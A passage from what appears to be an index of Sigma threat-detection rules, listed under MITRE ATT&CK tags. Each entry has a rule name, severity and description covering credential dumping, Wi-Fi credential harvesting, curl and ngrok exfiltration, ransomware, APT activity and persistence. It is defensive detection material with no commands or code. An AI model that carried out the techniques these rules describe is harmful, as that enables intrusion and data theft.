Application - Level: medium Description: Detects when a new owner is added to an application. This gives that account privileges to make modifications and configuration changes to the application. Google Cloud Kubernetes Admission Controller - Level: medium Description: Identifies when an admission controller is executed in GCP Kubernetes. A Kubernetes Admission controller intercepts, and possibly modifies, requests to the Kubernetes API server. The behavior of this admission controller is determined by an admission webhook (MutatingAdmissionWebhook or ValidatingAdmissionWebhook) that the user deploys in the cluster. An adversary can use such webhooks as the MutatingAdmissionWebhook for obtaining persistence in the cluster. For example, attackers can intercept and modify the pod creation operations in the cluster and add their malicious container to every created pod. An adversary can use the webhook ValidatingAdmissionWebhook, which could be used to obtain access credentials. An adversary could use the webhook to intercept the requests to the API server, record secrets, and other sensitive information. Potential Okta Password in AlternateID Field - Level: high Description: Detects when a user has potentially entered their password into the username field, which will cause the password to be retained in log files. Potentially Suspicious EventLog Recon Activity Using Log Query Utilities - Level: medium Description: Detects execution of different log query utilities and commands to search and dump the content of specific event logs or look for specific event IDs. This technique is used by threat actors in order to extract sensitive information from events logs such as usernames, IP addresses, hostnames, etc. EventLog Query Requests By Builtin Utilities - Level: medium Description: Detect attempts to query the contents of the event log using command line utilities. Attackers use this technique in order to look for sensitive information in the logs such as passwords, usernames, IPs, etc.
attack.t1007	11	Show Rules (11) Crontab Enumeration - Level: low Description: Detects usage of crontab to list the tasks of the user ESXi Network Configuration Discovery Via ESXCLI - Level: medium Description: Detects execution of the "esxcli" command with the "network" flag in order to retrieve information about the network configuration. ESXi Storage Information Discovery Via ESXCLI - Level: medium Description: Detects execution of the "esxcli" command with the "storage" flag in order to retrieve information about the storage status and other related information. Seen used by malware such as DarkSide and LockBit. ESXi System Information Discovery Via ESXCLI - Level: medium Description: Detects execution of the "esxcli" command with the "system" flag in order to retrieve information about the different component of the system. Such as accounts, modules, NTP, etc. ESXi VM List Discovery Via ESXCLI - Level: medium Description: Detects execution of the "esxcli" command with the "vm" flag in order to retrieve information about the installed VMs. ESXi VSAN Information Discovery Via ESXCLI - Level: medium Description: Detects execution of the "esxcli" command with the "vsan" flag in order to retrieve information about virtual storage. Seen used by malware such as DarkSide. HackTool - PCHunter Execution - Level: high Description: Detects suspicious use of PCHunter, a tool like Process Hacker to view and manipulate processes, kernel options and other low level stuff Potential Configuration And Service Reconnaissance Via Reg.EXE - Level: medium Description: Detects the usage of "reg.exe" in order to query reconnaissance information from the registry. Adversaries may interact with the Windows registry to gather information about credentials, the system, configuration, and installed software. Potential Registry Reconnaissance Via PowerShell Script - Level: medium Description: Detects PowerShell scripts with potential registry reconnaissance capabilities. Adversaries may interact with the Windows registry to gather information about the system credentials, configuration, and installed software. Net.EXE Execution - Level: low Description: Detects execution of "Net.EXE". SC.EXE Query Execution - Level: low Description: Detects execution of "sc.exe" to query information about registered services on the system
attack.s0111	11	Show Rules (11) HackTool - Default PowerSploit/Empire Scheduled Task Creation - Level: high Description: Detects the creation of a schtask via PowerSploit or Empire Default Configuration. Scheduled Task Creation Via Schtasks.EXE - Level: low Description: Detects the creation of scheduled tasks by user accounts via the "schtasks" utility. OilRig APT Activity - Level: critical Description: Detects OilRig activity as reported by Nyotron in their March 2018 report OilRig APT Registry Persistence - Level: critical Description: Detects OilRig registry persistence as reported by Nyotron in their March 2018 report OilRig APT Schedule Task Persistence - Security - Level: critical Description: Detects OilRig schedule task persistence as reported by Nyotron in their March 2018 report OilRig APT Schedule Task Persistence - System - Level: critical Description: Detects OilRig schedule task persistence as reported by Nyotron in their March 2018 report Defrag Deactivation - Level: medium Description: Detects the deactivation and disabling of the Scheduled defragmentation task as seen by Slingshot APT group Defrag Deactivation - Security - Level: medium Description: Detects the deactivation and disabling of the Scheduled defragmentation task as seen by Slingshot APT group Scheduled Task Created - FileCreation - Level: low Description: Detects the creation of a scheduled task via file creation. Scheduled Task Created - Registry - Level: low Description: Detects the creation of a scheduled task via Registry keys. Rare Scheduled Task Creations - Level: low Description: This rule detects rare scheduled task creations. Typically software gets installed on multiple systems and not only on a few. The aggregation and count function selects tasks with rare names.
attack.t1204	10	Show Rules (10) Ryuk Ransomware Command Line Activity - Level: critical Description: Detects Ryuk Ransomware command lines Process Start From Suspicious Folder - Level: low Description: Detects process start from rare or uncommon folders like temporary folder or folders that usually don't contain executable files Antivirus Hacktool Detection - Level: high Description: Detects a highly relevant Antivirus alert that reports a hack tool or other attack tool. This event must not be ignored just because the AV has blocked the malware but investigate, how it came there in the first place. Payload Decoded and Decrypted via Built-in Utilities - Level: medium Description: Detects when a built-in utility is used to decode and decrypt a payload after a macOS disk image (DMG) is executed. Malware authors may attempt to evade detection and trick users into executing malicious code by encoding and encrypting their payload and placing it in a disk image file. This behavior is consistent with adware or malware families such as Bundlore and Shlayer. Suspicious Execution via macOS Script Editor - Level: medium Description: Detects when the macOS Script Editor utility spawns an unusual child process. Arbitrary Shell Command Execution Via Settingcontent-Ms - Level: medium Description: The .SettingContent-ms file type was introduced in Windows 10 and allows a user to create "shortcuts" to various Windows 10 setting pages. These files are simply XML and contain paths to various Windows 10 settings binaries. Potentially Suspicious WebDAV LNK Execution - Level: medium Description: Detects possible execution via LNK file accessed on a WebDAV server. PrinterNightmare Mimikatz Driver Name - Level: critical Description: Detects static QMS 810 and mimikatz driver name used by Mimikatz as exploited in CVE-2021-1675 and CVE-2021-34527 Potential Snatch Ransomware Activity - Level: high Description: Detects specific process characteristics of Snatch ransomware word document droppers DarkSide Ransomware Pattern - Level: critical Description: Detects DarkSide Ransomware and helpers
attack.t1020	10	Show Rules (10) AWS RDS Master Password Change - Level: medium Description: Detects the change of database master password. It may be a part of data exfiltration. Modification or Deletion of an AWS RDS Cluster - Level: high Description: Detects modifications to an RDS cluster or its deletion, which may indicate potential data exfiltration attempts, unauthorized access, or exposure of sensitive information. Restore Public AWS RDS Instance - Level: high Description: Detects the recovery of a new public database instance from a snapshot. It may be a part of data exfiltration. Github Fork Private Repositories Setting Enabled/Cleared - Level: medium Description: Detects when the policy allowing forks of private and internal repositories is changed (enabled or cleared). Github Repository/Organization Transferred - Level: medium Description: Detects when a repository or an organization is being transferred to another location. Suspicious Inbox Forwarding - Level: low Description: Detects when a Microsoft Cloud App Security reported suspicious email forwarding rules, for example, if a user created an inbox rule that forwards a copy of all emails to an external address. PowerShell Script With File Hostname Resolving Capabilities - Level: medium Description: Detects PowerShell scripts that have capabilities to read files, loop through them and resolve DNS host entries. PowerShell Script With File Upload Capabilities - Level: low Description: Detects PowerShell scripts leveraging the "Invoke-WebRequest" cmdlet to send data via either "PUT" or "POST" method. Mail Forwarding/Redirecting Activity In O365 - Level: medium Description: Detects email forwarding or redirecting acitivty in O365 Audit logs. AWS EC2 Download Userdata - Level: medium Description: Detects bulk downloading of User Data associated with AWS EC2 instances. Instance User Data may include installation scripts and hard-coded secrets for deployment.
attack.t1113	10	Show Rules (10) Screen Capture with Import Tool - Level: low Description: Detects adversary creating screen capture of a desktop with Import Tool. Highly recommended using rule on servers, due to high usage of screenshot utilities on user workstations. ImageMagick must be installed. Screen Capture with Xwd - Level: low Description: Detects adversary creating screen capture of a full with xwd. Highly recommended using rule on servers, due high usage of screenshot utilities on user workstations Screen Capture - macOS - Level: low Description: Detects attempts to use screencapture to collect macOS screenshots Windows Screen Capture with CopyFromScreen - Level: medium Description: Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations Screen Capture Activity Via Psr.EXE - Level: medium Description: Detects execution of Windows Problem Steps Recorder (psr.exe), a utility used to record the user screen and clicks. Windows Recall Feature Enabled Via Reg.EXE - Level: medium Description: Detects the enabling of the Windows Recall feature via registry manipulation. Windows Recall can be enabled by deleting the existing "DisableAIDataAnalysis" value, or setting it to 0. Adversaries may enable Windows Recall as part of post-exploitation discovery and collection activities. This rule assumes that Recall is already explicitly disabled on the host, and subsequently enabled by the adversary. Windows Recall Feature Enabled - DisableAIDataAnalysis Value Deleted - Level: medium Description: Detects the enabling of the Windows Recall feature via registry manipulation. Windows Recall can be enabled by deleting the existing "DisableAIDataAnalysis" registry value. Adversaries may enable Windows Recall as part of post-exploitation discovery and collection activities. This rule assumes that Recall is already explicitly disabled on the host, and subsequently enabled by the adversary. Periodic Backup For System Registry Hives Enabled - Level: medium Description: Detects the enabling of the "EnablePeriodicBackup" registry value. Once enabled, The OS will backup System registry hives on restarts to the "C:\Windows\System32\config\RegBack" folder. Windows creates a "RegIdleBackup" task to manage subsequent backups. Registry backup was a default behavior on Windows and was disabled as of "Windows 10, version 1803". Windows Recall Feature Enabled - Registry - Level: medium Description: Detects the enabling of the Windows Recall feature via registry manipulation. Windows Recall can be enabled by setting the value of "DisableAIDataAnalysis" to "0". Adversaries may enable Windows Recall as part of post-exploitation discovery and collection activities. This rule assumes that Recall is already explicitly disabled on the host, and subsequently enabled by the adversary. System Drawing DLL Load - Level: low Description: Detects processes loading "System.Drawing.ni.dll". This could be an indicator of potential Screen Capture.
attack.t1564	10	Show Rules (10) Mount Execution With Hidepid Parameter - Level: medium Description: Detects execution of the "mount" command with "hidepid" parameter to make invisible processes to other users from the system Suspicious Creation with Colorcpl - Level: high Description: Once executed, colorcpl.exe will copy the arbitrary file to c:\windows\system32\spool\drivers\color\ Suspicious Executable File Creation - Level: high Description: Detect creation of suspicious executable file names. Some strings look for suspicious file extensions, others look for filenames that exploit unquoted service paths. PUA - Process Hacker Execution - Level: medium Description: Detects the execution of Process Hacker based on binary metadata information (Image, Hash, Imphash, etc). Process Hacker is a tool to view and manipulate processes, kernel options and other low level options. Threat actors abused older vulnerable versions to manipulate system processes. PUA - System Informer Execution - Level: medium Description: Detects the execution of System Informer, a task manager tool to view and manipulate processes, kernel options and other low level operations Potentially Suspicious Execution From Parent Process In Public Folder - Level: high Description: Detects a potentially suspicious execution of a parent process located in the "\Users\Public" folder executing a child process containing references to shell or scripting binaries and commandlines. Detect Virtualbox Driver Installation OR Starting Of VMs - Level: low Description: Adversaries can carry out malicious operations using a virtual instance to avoid detection. This rule is built to detect the registration of the Virtualbox driver or start of a Virtualbox VM. CrashControl CrashDump Disabled - Level: medium Description: Detects disabling the CrashDump per registry (as used by HermeticWiper) Sysmon Configuration Error - Level: high Description: Detects when an adversary is trying to hide it's action from Sysmon logging based on error messages Sysmon Configuration Modification - Level: high Description: Detects when an attacker tries to hide from Sysmon by disabling or stopping it
attack.t1531	9	Show Rules (9) AWS SAML Provider Deletion Activity - Level: medium Description: Detects the deletion of an AWS SAML provider, potentially indicating malicious intent to disrupt administrative or security team access. An attacker can remove the SAML provider for the information security team or a team of system administrators, to make it difficult for them to work and investigate at the time of the attack and after it. AWS ElastiCache Security Group Modified or Deleted - Level: low Description: Identifies when an ElastiCache security group has been modified or deleted. Azure Kubernetes Service Account Modified or Deleted - Level: medium Description: Identifies when a service account is modified or deleted. Google Cloud Service Account Disabled or Deleted - Level: medium Description: Identifies when a service account is disabled or deleted in Google Cloud. Okta User Account Locked Out - Level: medium Description: Detects when an user account is locked out. Group Has Been Deleted Via Groupdel - Level: medium Description: Detects execution of the "groupdel" binary. Which is used to delete a group. This is sometimes abused by threat actors in order to cover their tracks User Has Been Deleted Via Userdel - Level: medium Description: Detects execution of the "userdel" binary. Which is used to delete a user account and related files. This is sometimes abused by threat actors in order to cover their tracks User Logoff Event - Level: informational Description: Detects a user log-off activity. Could be used for example to correlate information during forensic investigations Remove Account From Domain Admin Group - Level: medium Description: Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts.
attack.t1040	9	Show Rules (9) Network Sniffing - Linux - Level: low Description: Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data. Network Sniffing - MacOs - Level: informational Description: Detects the usage of tooling to sniff network traffic. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data. Cisco Sniffing - Level: medium Description: Show when a monitor or a span/rspan is setup or modified Windows Pcap Drivers - Level: medium Description: Detects Windows Pcap driver installation based on a list of associated .sys files. Potential Packet Capture Activity Via Start-NetEventSession - ScriptBlock - Level: medium Description: Detects the execution of powershell scripts with calls to the "Start-NetEventSession" cmdlet. Which allows an attacker to start event and packet capture for a network event session. Adversaries may attempt to capture network to gather information over the course of an operation. Data captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. New Network Trace Capture Started Via Netsh.EXE - Level: medium Description: Detects the execution of netsh with the "trace" flag in order to start a network capture Harvesting Of Wifi Credentials Via Netsh.EXE - Level: medium Description: Detect the harvesting of wifi credentials using netsh.exe PktMon.EXE Execution - Level: medium Description: Detects execution of PktMon, a tool that captures network packets. Potential Network Sniffing Activity Using Network Tools - Level: medium Description: Detects potential network sniffing via use of network tools such as "tshark", "windump". Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.
attack.t1049	9	Show Rules (9) System Network Connections Discovery - Linux - Level: low Description: Detects usage of system utilities to discover system network connections System Network Connections Discovery - MacOs - Level: informational Description: Detects usage of system utilities to discover system network connections Cisco Discovery - Level: low Description: Find information about network devices that is not stored in config files Use Get-NetTCPConnection - Level: low Description: Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network. Use Get-NetTCPConnection - PowerShell Module - Level: low Description: Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network. HackTool - SharpView Execution - Level: high Description: Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems System Network Connections Discovery Via Net.EXE - Level: low Description: Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network. Potential Pikabot Discovery Activity - Level: high Description: Detects system discovery activity carried out by Pikabot, such as incl. network, user info and domain groups. The malware Pikabot has been seen to use this technique as part of its C2-botnet registration with a short collection time frame (less than 1 minute). Net.EXE Execution - Level: low Description: Detects execution of "Net.EXE".
attack.s0190	9	Show Rules (9) Bitsadmin to Uncommon IP Server Address - Level: high Description: Detects Bitsadmin connections to IP addresses instead of FQDN names Bitsadmin to Uncommon TLD - Level: high Description: Detects Bitsadmin connections to domains with uncommon TLDs Suspicious Download From Direct IP Via Bitsadmin - Level: high Description: Detects usage of bitsadmin downloading a file using an URL that contains an IP File Download Via Bitsadmin - Level: medium Description: Detects usage of bitsadmin downloading a file Suspicious Download From File-Sharing Website Via Bitsadmin - Level: high Description: Detects usage of bitsadmin downloading a file from a suspicious domain File With Suspicious Extension Downloaded Via Bitsadmin - Level: high Description: Detects usage of bitsadmin downloading a file with a suspicious extension File Download Via Bitsadmin To A Suspicious Target Folder - Level: high Description: Detects usage of bitsadmin downloading a file to a suspicious target folder File Download Via Bitsadmin To An Uncommon Target Folder - Level: medium Description: Detects usage of bitsadmin downloading a file to uncommon target folder Exploited CVE-2020-10189 Zoho ManageEngine - Level: high Description: Detects the exploitation of Zoho ManageEngine Desktop Central Java Deserialization vulnerability reported as CVE-2020-10189
attack.t1574	9	Show Rules (9) Potential PrintNightmare Exploitation Attempt - Level: high Description: Detect DLL deletions from Spooler Service driver folder. This might be a potential exploitation attempt of CVE-2021-1675 Potential Initial Access via DLL Search Order Hijacking - Level: medium Description: Detects attempts to create a DLL file to a known desktop application dependencies folder such as Slack, Teams or OneDrive and by an unusual process. This may indicate an attempt to load a malicious module via DLL search order hijacking. Windows Spooler Service Suspicious Binary Load - Level: informational Description: Detect DLL Load from Spooler Service backup folder DLL Execution Via Register-cimprovider.exe - Level: medium Description: Detects using register-cimprovider.exe to execute arbitrary dll file. Regsvr32 DLL Execution With Uncommon Extension - Level: medium Description: Detects a "regsvr32" execution where the DLL doesn't contain a common file extension. Potential Registry Persistence Attempt Via DbgManagedDebugger - Level: medium Description: Detects the addition of the "Debugger" value to the "DbgManagedDebugger" key in order to achieve persistence. Which will get invoked when an application crashes Suspicious Printer Driver Empty Manufacturer - Level: high Description: Detects a suspicious printer driver installation with an empty Manufacturer value Exploiting SetupComplete.cmd CVE-2019-1378 - Level: high Description: Detects exploitation attempt of privilege escalation vulnerability via SetupComplete.cmd and PartnerSetupComplete.cmd described in CVE-2019-1378 Files Dropped to Program Files by Non-Priviledged Process - Level: medium Description: Search for dropping of files to Windows/Program Files fodlers by non-priviledged processes
attack.t1137	9	Show Rules (9) New Outlook Macro Created - Level: medium Description: Detects the creation of a macro file for Outlook. Suspicious Outlook Macro Created - Level: high Description: Detects the creation of a macro file for Outlook. Potential Persistence Via Microsoft Office Startup Folder - Level: high Description: Detects creation of Microsoft Office files inside of one of the default startup folders in order to achieve persistence. IE Change Domain Zone - Level: medium Description: Hides the file extension through modification of the registry Registry Modification to Hidden File Extension - Level: medium Description: Hides the file extension through modification of the registry Potential Persistence Via Outlook LoadMacroProviderOnBoot Setting - Level: high Description: Detects the modification of Outlook setting "LoadMacroProviderOnBoot" which if enabled allows the automatic loading of any configured VBA project/module Outlook Macro Execution Without Warning Setting Enabled - Level: high Description: Detects the modification of Outlook security setting to allow unprompted execution of macros. Outlook Security Settings Updated - Registry - Level: medium Description: Detects changes to the registry values related to outlook security settings Outlook Task/Note Reminder Received - Level: low Description: Detects changes to the registry values related to outlook that indicates that a reminder was triggered for a Note or Task item. This could be a sign of exploitation of CVE-2023-23397. Further investigation is required to determine the success of an exploitation.
attack.t1071	8	Show Rules (8) GALLIUM Artefacts - Level: high Description: Detects artefacts associated with activity group GALLIUM - Microsoft Threat Intelligence Center indicators released in December 2019. Suspicious Installer Package Child Process - Level: medium Description: Detects the execution of suspicious child processes from macOS installer package parent process. This includes osascript, JXA, curl and wget amongst other interpreters HackTool - SILENTTRINITY Stager DLL Load - Level: high Description: Detects SILENTTRINITY stager dll loading activity HackTool - SILENTTRINITY Stager Execution - Level: high Description: Detects SILENTTRINITY stager use via PE metadata Potentially Suspicious Rundll32.EXE Execution of UDL File - Level: medium Description: Detects the execution of rundll32.exe with the oledb32.dll library to open a UDL file. Threat actors can abuse this technique as a phishing vector to capture authentication credentials or other sensitive data. GALLIUM IOCs - Level: high Description: Detects artifacts associated with GALLIUM cyber espionage group as reported by Microsoft Threat Intelligence Center in the December 2019 report. GALLIUM Artefacts - Builtin - Level: high Description: Detects artefacts associated with activity group GALLIUM - Microsoft Threat Intelligence Center indicators released in December 2019. DNSCat2 Powershell Implementation Detection Via Process Creation - Level: high Description: The PowerShell implementation of DNSCat2 calls nslookup to craft queries. Counting nslookup processes spawned by PowerShell will show hundreds or thousands of instances if PS DNSCat2 is active locally.
attack.g0010	8	Show Rules (8) Suspicious Certutil Command Usage - Level: high Description: Detects a suspicious Microsoft certutil execution with sub commands like 'decode' sub command, which is sometimes used to decode malicious code Turla Group Lateral Movement - Level: critical Description: Detects automated lateral movement by Turla group Turla Group Commands May 2020 - Level: critical Description: Detects commands used by Turla group as reported by ESET in May 2020 Turla Group Named Pipes - Level: critical Description: Detects a named pipe used by Turla group samples Turla Service Install - Level: high Description: This method detects a service install of malicious services mentioned in Carbon Paper - Turla report by ESET Turla PNG Dropper Service - Level: critical Description: This method detects malicious services mentioned in Turla PNG dropper report by NCC Group in November 2018 ComRAT Network Communication - Level: high Description: Detects Turla ComRAT network communication. Automated Turla Group Lateral Movement - Level: medium Description: Detects automated lateral movement by Turla group
attack.t1115	8	Show Rules (8) Clipboard Collection with Xclip Tool - Auditd - Level: low Description: Detects attempts to collect data stored in the clipboard from users with the usage of xclip tool. Xclip has to be installed. Highly recommended using rule on servers, due to high usage of clipboard utilities on user workstations. Clipboard Collection of Image Data with Xclip Tool - Level: low Description: Detects attempts to collect image data stored in the clipboard from users with the usage of xclip tool. Xclip has to be installed. Highly recommended using rule on servers, due to high usage of clipboard utilities on user workstations. Clipboard Collection with Xclip Tool - Level: low Description: Detects attempts to collect data stored in the clipboard from users with the usage of xclip tool. Xclip has to be installed. Highly recommended using rule on servers, due to high usage of clipboard utilities on user workstations. Clipboard Data Collection Via OSAScript - Level: high Description: Detects possible collection of data from the clipboard via execution of the osascript binary PowerShell Get Clipboard - Level: medium Description: A General detection for the Get-Clipboard commands in PowerShell logs. This could be an adversary capturing clipboard contents. Data Copied To Clipboard Via Clip.EXE - Level: low Description: Detects the execution of clip.exe in order to copy data to the clipboard. Adversaries may collect data stored in the clipboard from users copying information within or between applications. PowerShell Get-Clipboard Cmdlet Via CLI - Level: medium Description: Detects usage of the 'Get-Clipboard' cmdlet via CLI Clipboard Data Collection Via Pbpaste - Level: medium Description: Detects execution of the "pbpaste" utility, which retrieves the contents of the clipboard (a.k.a. pasteboard) and writes them to the standard output (stdout). The utility is often used for creating new files with the clipboard content or for piping clipboard contents to other commands. It can also be used in shell scripts that may require clipboard content as input. Attackers can abuse this utility in order to collect data from the user clipboard, which may contain passwords or sensitive information. Use this rule to hunt for potential abuse of the utility by looking at the parent process and any potentially suspicious command line content.
attack.t1555	8	Show Rules (8) DPAPI Backup Keys And Certificate Export Activity IOC - Level: high Description: Detects file names with specific patterns seen generated and used by tools such as Mimikatz and DSInternals related to exported or stolen DPAPI backup keys and certificates. Dump Credentials from Windows Credential Manager With PowerShell - Level: medium Description: Adversaries may search for common password storage locations to obtain user credentials. Passwords are stored in several places on a system, depending on the operating system or application holding the credentials. Enumerate Credentials from Windows Credential Manager With PowerShell - Level: medium Description: Adversaries may search for common password storage locations to obtain user credentials. Passwords are stored in several places on a system, depending on the operating system or application holding the credentials. HackTool - WinPwn Execution - ScriptBlock - Level: high Description: Detects scriptblock text keywords indicative of potential usge of the tool WinPwn. A tool for Windows and Active Directory reconnaissance and exploitation. HackTool - SecurityXploded Execution - Level: critical Description: Detects the execution of SecurityXploded Tools HackTool - WinPwn Execution - Level: high Description: Detects commandline keywords indicative of potential usge of the tool WinPwn. A tool for Windows and Active Directory reconnaissance and exploitation. Suspicious Serv-U Process Pattern - Level: high Description: Detects a suspicious process pattern which could be a sign of an exploited Serv-U service Stored Credentials in Fake Files - Level: high Description: Search for accessing of fake files with stored credentials
attack.t1135	8	Show Rules (8) File Explorer Folder Opened Using Explorer Folder Shortcut Via Shell - Level: high Description: Detects the initial execution of "cmd.exe" which spawns "explorer.exe" with the appropriate command line arguments for opening the "My Computer" folder. HackTool - SharpView Execution - Level: high Description: Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems PUA - Advanced IP Scanner Execution - Level: medium Description: Detects the use of Advanced IP Scanner. Seems to be a popular tool for ransomware groups. PUA - Advanced Port Scanner Execution - Level: medium Description: Detects the use of Advanced Port Scanner. Turla Group Lateral Movement - Level: critical Description: Detects automated lateral movement by Turla group Potential Dridex Activity - Level: critical Description: Detects potential Dridex acitvity via specific process patterns Net.EXE Execution - Level: low Description: Detects execution of "Net.EXE". Automated Turla Group Lateral Movement - Level: medium Description: Detects automated lateral movement by Turla group
attack.s0005	7	Show Rules (7) Credential Dumping Tools Service Execution - Level: critical Description: Detects well-known credential dumping tools execution via service execution events Credential Dumping Tools Service Execution - Security - Level: high Description: Detects well-known credential dumping tools execution via service execution events WCE wceaux.dll Access - Level: critical Description: Detects wceaux.dll access while WCE pass-the-hash remote command execution on source host Credential Dumping Tools Service Execution - System - Level: high Description: Detects well-known credential dumping tools execution via service execution events Password Dumper Remote Thread in LSASS - Level: high Description: Detects password dumper activity by monitoring remote thread creation EventID 8 in combination with the lsass.exe process as TargetImage. The process in field Process is the malicious program. A single execution can lead to hundreds of events. HackTool - Windows Credential Editor (WCE) Execution - Level: critical Description: Detects the use of Windows Credential Editor (WCE) Windows Credential Editor Registry - Level: critical Description: Detects the use of Windows Credential Editor (WCE)
attack.t1212	7	Show Rules (7) GALLIUM Artefacts - Level: high Description: Detects artefacts associated with activity group GALLIUM - Microsoft Threat Intelligence Center indicators released in December 2019. Guacamole Two Users Sharing Session Anomaly - Level: high Description: Detects suspicious session with two users present Audit CVE Event - Level: critical Description: Detects events generated by user-mode applications when they call the CveEventWrite API when a known vulnerability is trying to be exploited. MS started using this log in Jan. 2020 with CVE-2020-0601 (a Windows CryptoAPI vulnerability. Unfortunately, that is about the only instance of CVEs being written to this log. Kerberos Manipulation - Level: high Description: Detects failed Kerberos TGT issue operation. This can be a sign of manipulations of TGT messages by an attacker. Suspicious NTLM Authentication on the Printer Spooler Service - Level: high Description: Detects a privilege elevation attempt by coercing NTLM authentication on the Printer Spooler service GALLIUM IOCs - Level: high Description: Detects artifacts associated with GALLIUM cyber espionage group as reported by Microsoft Threat Intelligence Center in the December 2019 report. Possible Remote Password Change Through SAMR - Level: medium Description: Detects a possible remote NTLM hash change through SAMR API SamiChangePasswordUser() or SamSetInformationUser(). "Audit User Account Management" in "Advanced Audit Policy Configuration" has to be enabled in your local security policy / GPO to see this events.
attack.t1213	7	Show Rules (7) OpenCanary - GIT Clone Request - Level: high Description: Detects instances where a GIT service on an OpenCanary node has had Git Clone request. OpenCanary - MSSQL Login Attempt Via SQLAuth - Level: high Description: Detects instances where an MSSQL service on an OpenCanary node has had a login attempt using SQLAuth. OpenCanary - MSSQL Login Attempt Via Windows Authentication - Level: high Description: Detects instances where an MSSQL service on an OpenCanary node has had a login attempt using Windows Authentication. OpenCanary - MySQL Login Attempt - Level: high Description: Detects instances where a MySQL service on an OpenCanary node has had a login attempt. OpenCanary - REDIS Action Command Attempt - Level: high Description: Detects instances where a REDIS service on an OpenCanary node has had an action command attempted. Bitbucket User Details Export Attempt Detected - Level: medium Description: Detects user data export activity. Bitbucket User Permissions Export Attempt - Level: medium Description: Detects user permission data export attempt.
attack.t1123	7	Show Rules (7) OpenCanary - SIP Request - Level: high Description: Detects instances where an SIP service on an OpenCanary node has had a SIP request. Audio Capture - Level: low Description: Detects attempts to record audio with arecord utility Linux Capabilities Discovery - Level: low Description: Detects attempts to discover the files with setuid/setgid capability on them. That would allow adversary to escalate their privileges. Processes Accessing the Microphone and Webcam - Level: medium Description: Potential adversaries accessing the microphone and webcam in an endpoint. Audio Capture via PowerShell - Level: medium Description: Detects audio capture via PowerShell Cmdlet. Audio Capture via SoundRecorder - Level: medium Description: Detect attacker collecting audio via SoundRecorder application. Suspicious Camera and Microphone Access - Level: high Description: Detects Processes accessing the camera and microphone from suspicious folder
attack.t1567	7	Show Rules (7) Communication To Ngrok Tunneling Service - Linux - Level: high Description: Detects an executable accessing an ngrok tunneling endpoint, which could be a sign of forbidden exfiltration of data exfiltration by malicious actors Suspicious Curl File Upload - Linux - Level: medium Description: Detects a suspicious curl process start the adds a file to a web request Monero Crypto Coin Mining Pool Lookup - Level: high Description: Detects suspicious DNS queries to Monero mining pools Communication To Ngrok Tunneling Service Initiated - Level: high Description: Detects an executable initiating a network connection to "ngrok" tunneling domains. Attackers were seen using this "ngrok" in order to store their second stage payloads and malware. While communication with such domains can be legitimate, often times is a sign of either data exfiltration by malicious actors or additional download. Arbitrary File Download Via ConfigSecurityPolicy.EXE - Level: medium Description: Detects the execution of "ConfigSecurityPolicy.EXE", a binary part of Windows Defender used to manage settings in Windows Defender. Users can configure different pilot collections for each of the co-management workloads. It can be abused by attackers in order to upload or download files. LOLBAS Data Exfiltration by DataSvcUtil.exe - Level: medium Description: Detects when a user performs data exfiltration by using DataSvcUtil.exe Potential Data Exfiltration Via Curl.EXE - Level: medium Description: Detects the execution of the "curl" process with "upload" flags. Which might indicate potential data exfiltration
attack.t1057	7	Show Rules (7) Cisco Discovery - Level: low Description: Find information about network devices that is not stored in config files Suspicious Process Discovery With Get-Process - Level: low Description: Get the processes that are running on the local computer. Recon Command Output Piped To Findstr.EXE - Level: medium Description: Detects the execution of a potential recon command where the results are piped to "findstr". This is meant to trigger on inline calls of "cmd.exe" via the "/c" or "/k" for example. Attackers often time use this technique to extract specific information they require in their reconnaissance phase. HackTool - PCHunter Execution - Level: high Description: Detects suspicious use of PCHunter, a tool like Process Hacker to view and manipulate processes, kernel options and other low level stuff Process Discovery - Level: low Description: Detects process discovery commands. Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network Suspicious Tasklist Discovery Command - Level: informational Description: Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network Silence.Downloader V3 - Level: high Description: Detects Silence downloader. These commands are hardcoded into the binary.
attack.t1547	7	Show Rules (7) Startup/Logon Script Added to Group Policy Object - Level: medium Description: Detects the modification of Group Policy Objects (GPO) to add a startup/logon script to users or computer objects. Potential RipZip Attack on Startup Folder - Level: high Description: Detects a phishing attack which expands a ZIP file containing a malicious shortcut. If the victim expands the ZIP file via the explorer process, then the explorer process expands the malicious ZIP file and drops a malicious shortcut redirected to a backdoor into the Startup folder. Additionally, the file name of the malicious shortcut in Startup folder contains {0AFACED1-E828-11D1-9187-B532F1E9575D} meaning the folder shortcut operation. Suspicious Driver Install by pnputil.exe - Level: medium Description: Detects when a possible suspicious driver is being installed via pnputil.exe lolbin Suspicious GrpConv Execution - Level: high Description: Detects the suspicious execution of a utility to convert Windows 3.x .grp files or for persistence purposes by malicious software or actors Registry Persistence Mechanisms in Recycle Bin - Level: high Description: Detects persistence registry keys for Recycle Bin WINEKEY Registry Modification - Level: high Description: Detects potential malicious modification of run keys by winekey or team9 backdoor Atbroker Registry Change - Level: medium Description: Detects creation/modification of Assistive Technology applications and persistence with usage of 'at'
